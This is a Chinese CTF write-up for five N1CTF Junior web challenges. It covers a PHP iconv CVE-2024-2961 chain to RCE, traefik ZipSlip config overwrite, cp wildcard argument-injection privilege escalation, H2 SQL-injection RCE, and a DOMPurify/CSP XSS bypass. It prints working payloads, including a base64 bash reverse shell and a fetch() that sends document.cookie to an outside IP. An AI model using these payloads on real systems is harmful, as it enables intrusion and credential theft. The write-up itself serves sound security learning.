ae63981cadbf07fd2e4b92daf554d25d.png 很高兴可以成为第一个AK Web的师傅hh 祝N1CTF Junior越办越好~

Gavatar

直接登陆上去 发现在头像上传处可以接受URL作为参数 image.png 考虑是不是存在什么SSRF/任意文件读取 直接可以尝试file协议 image.png 可以实现读取任意文件 image.png 但是这个题给了docker 是用/readflag去获取flag 考虑是否需要通过任意文件读取转换为RCE 当时特别注意了一下这里的的PHP版本 8.3.4 image.png 不就是vulhub上给的一模一样的版本 利用 CVE-2024-2961 的实现

(之前二面时给小学弟学妹们出了一道题基本一摸一样hh) image.png https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md

按着要求安装必要的环境 和之前SCTF出的一道题后半部分基本一样

https://j1rry-learn.github.io/posts/2024-sctf-simpleshop-%E5%87%BA%E9%A2%98%E7%AC%94%E8%AE%B0%E4%BB%A5%E5%8F%8A%E5%AF%B9thinkphp8%E7%8E%AF%E5%A2%83%E4%B8%8B%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E7%9A%84%E6%94%B9%E9%80%A0/

可以用kezibei 师傅的本地化项目 可以推荐一下

https://github.com/kezibei/php-filter-iconv/tree/main

这里我之前也做了一个类似的工具直接生成打就是

1.读取/proc/self/maps计算libc地址

2.读取指定的libc文件(包含system函数地址)

3.直接生成POC达到RCE的目的

image.png 直接用curl去反弹shell就是 image.png 可以直接拿到flag image.png

traefik

其实逻辑很简单就是访问 /flag 设置 X-Forwarded-For127.0.0.1 就可以获取环境变量中的flag

image.png 但是我们直接访问是访问不到的 因为用 traefik 做了代理

只允许 /public/index/public/upload 的访问 image.png 直接可以发现 # Dynamic configuration 配置是动态生效的

我们可以考虑通过覆盖/app/.config/配置文件实现可以访问 /flag image.png 这里提供了解压ZIP的功能 非常典型的ZipSlip image.png 构造恶意的ZIP包可以实现目录穿越实现任意文件覆盖/写入

import zipfile  
  
if __name__ == "__main__":  
    try:  
        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)  
        info = zipfile.ZipInfo("poc.zip")  
        zipFile.write("D://dynamic.yml", "../../../../../../..//app/.config/dynamic.yml", zipfile.ZIP_DEFLATED)  
        zipFile.close()  
    except IOError as e:  
        raise e

dynamic.yml仿照配置写个代理 /flag的路由

# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  middlewares:
    add-x-forwarded-for:
      headers:
        customRequestHeaders:
          X-Forwarded-For: "127.0.0.1"
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy
    flag:
      rule: Path(`/flag`)
      entrypoints: [web]
      service: proxy
      middlewares:
        - add-x-forwarded-for

传上去就可以直接访问了 image.png

backup

image.png 会发现源码底部存在注释 非常经典的php7 非法变量解析

$cmd = $_REQUEST["__2025.happy.new.year"]

image.png 可以直接执行系统命令 反弹shell看看 image.png 会发现没有权限获取flag 需要提权 查看常见的SUID,SUDO

find / -perm -u=s -type f 2>/dev/null 没有什么可以直接利用命令 image.png

sudo -l 不存在sudo image.png

ps -aux 列出所有进程 image.png 会发现以root权限执行了 /backup.sh

同时我们对backup.sh没有写权限 查看 /backup.sh内容

#!/bin/bash
cd /var/www/html/primary
while :
do
    cp -P * /var/www/html/backup/
    chmod 755 -R /var/www/html/backup/
    sleep 15s

这里实现了遍历 /var/www/html/primary 所有内容

通过cp -P * /var/www/html/backup/ 拷贝到 /var/www/html/backup/ 并且赋予755可读可执行权限

第一想法是通过建立软链接到 /flag 在拷贝时到 backup赋予可读权限后实现读取flag 但是这里 -P参数 image.png 不会复制软链接的实际文件 而是软链接本身 但是问题出在这里 * 通配符 https://www.cnblogs.com/zlgxzswjy/p/15210570.html

可以以葫芦画瓢 我们可以本地测试一下问题 image.png 会发现 * 可以匹配当前目录下的所有文件

如果我们创建一个类似 -xxxx的参数 是否意味这我们可以实现参数的注入

例如 当前文件有 文件名为 -xxxx的文件

cp -P -xxxx /var/www/html/backup/

是否就实现了参数的注入 查看 cp命令的手册 image.png 我们会发现 -H可以跟随命令符号链接

意味这我们可以获取真实的文件内容 而不仅仅是软链接

我们可以创建一个名为 -H的文件实现参数的注入

echo "">"-H"

这个时候我们可以创建软链接指向/flag

这个时候cp命令会将真实的flag做备份并且实现可读权限的赋予

ln -s /flag ff image.png 现在cp执行的命令实际上是

cp -P -H ff /var/www/html/backup/

等待15s后就可以访问flag image.png

EasyDB

image.png 会发现直接拼接usernamepassword参数

数据库是h2 考察 h2->RCE

经过测试可以实现堆叠注入 可以执行多个SQL语句

这大大方便了我们实现RCE的目标

可以通过 Alias Script RCE

https://boogipop.com/2023/10/01/JDBC-Attack%20%E5%88%A9%E7%94%A8%E6%B1%87%E6%80%BB/#H2-RCE image.png 同时对关键字做了过滤 可以直接通过Java反射动态拼接字符绕过 image.png

username={{urlenc(admin'; CREATE ALIAS evil AS $$void jerry(String cmd) throws Exception{ String R="R"+"untime";Class<?> c = Class.forName("java.lang."+R);Object rt=c.getMethod("get"+R).invoke(null);c.getMethod("exe"+"c",String.class).invoke(rt,cmd);}$$;CALL evil('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMTU3LjI0OC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}');  -- -)}}&password=admin123

但是注意创建别名只能是第一次

如果命令有问题就记得重开一个环境 image.png

display

这个题实际上不是考察DOMPurify 3.2.3下如何通过mxss绕过实现dom xss

但是实际上也有大师傅研究这个问题如何在DOMPurify 3.2.3下绕过DOMPurify.sanitize https://ensy.zip/posts/dompurify-323-bypass/

但是这道题实际上用不上 如果仔细阅读代码会发现 image.png 存在一个效果预览的功能 image.png

这里实际上调用了两次 innerHTML 也就是渲染了两次html 可以考虑通过html实体编码绕过 image.png 这样传入的代码就可以被认为是文本 而不是标签 第二次渲染时就可以还原为正常的html代码 image.png

image.png 可以发现成功解析为img标签 但是script没有成功解析为js 直到当时放了一个hint

用iframe嵌入子页面可以重新唤起DOM解析器解析script标签

可以考虑通过iframe重新唤醒dom解析器

<iframe/srcdoc="<script>alert(1)</script>">

在没有csp限制的条件下 我们可以本地先置空试试

image-20250211211254209

可以直接执行恶意js代码 image.png image.png 这里需要考虑绕过csp

const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";

这里csp限制比较严格 基本上不能从非同源上加载我们恶意的js脚本 但是会发现一个有趣的功能 image.png 在404页面我们可以控制字符构造任意js语句 image.png 同时也会注意到 这里存在一些脏字符 例如 /, : invalid path 等问题 可以考虑通过注释去掉 image.png

构造我们外带cookie的恶意js代码

**/fetch(`http://119.29.157.248:8888/`+document.cookie)//

现在指定我们的src为路径构造

<iframe/srcdoc="<script/src='**/fetch(`http://119.29.157.248:8888/`+document.cookie)//'></script>">

就可以绕过csp策略实现外带cookie 有一个小细节 注意用Yakit/BP发包 因为浏览器会再一次编码base64 image.png 就可以正常外带flag image.png image.png